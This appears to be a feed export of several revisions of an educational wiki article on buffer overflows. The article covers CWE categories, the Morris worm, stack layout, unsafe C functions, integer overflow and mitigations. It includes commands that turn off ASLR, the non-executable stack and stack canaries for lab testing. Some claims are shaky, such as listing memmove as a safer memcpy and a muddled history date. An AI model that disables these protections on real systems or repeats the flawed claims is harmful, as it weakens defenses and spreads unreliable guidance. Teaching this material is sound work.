* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16971</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16971"/>
		<updated>2024-12-11T11:40:14Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16970</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16970"/>
		<updated>2024-12-11T11:39:24Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may overwrite the return pointer to redirect the flow of execution.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
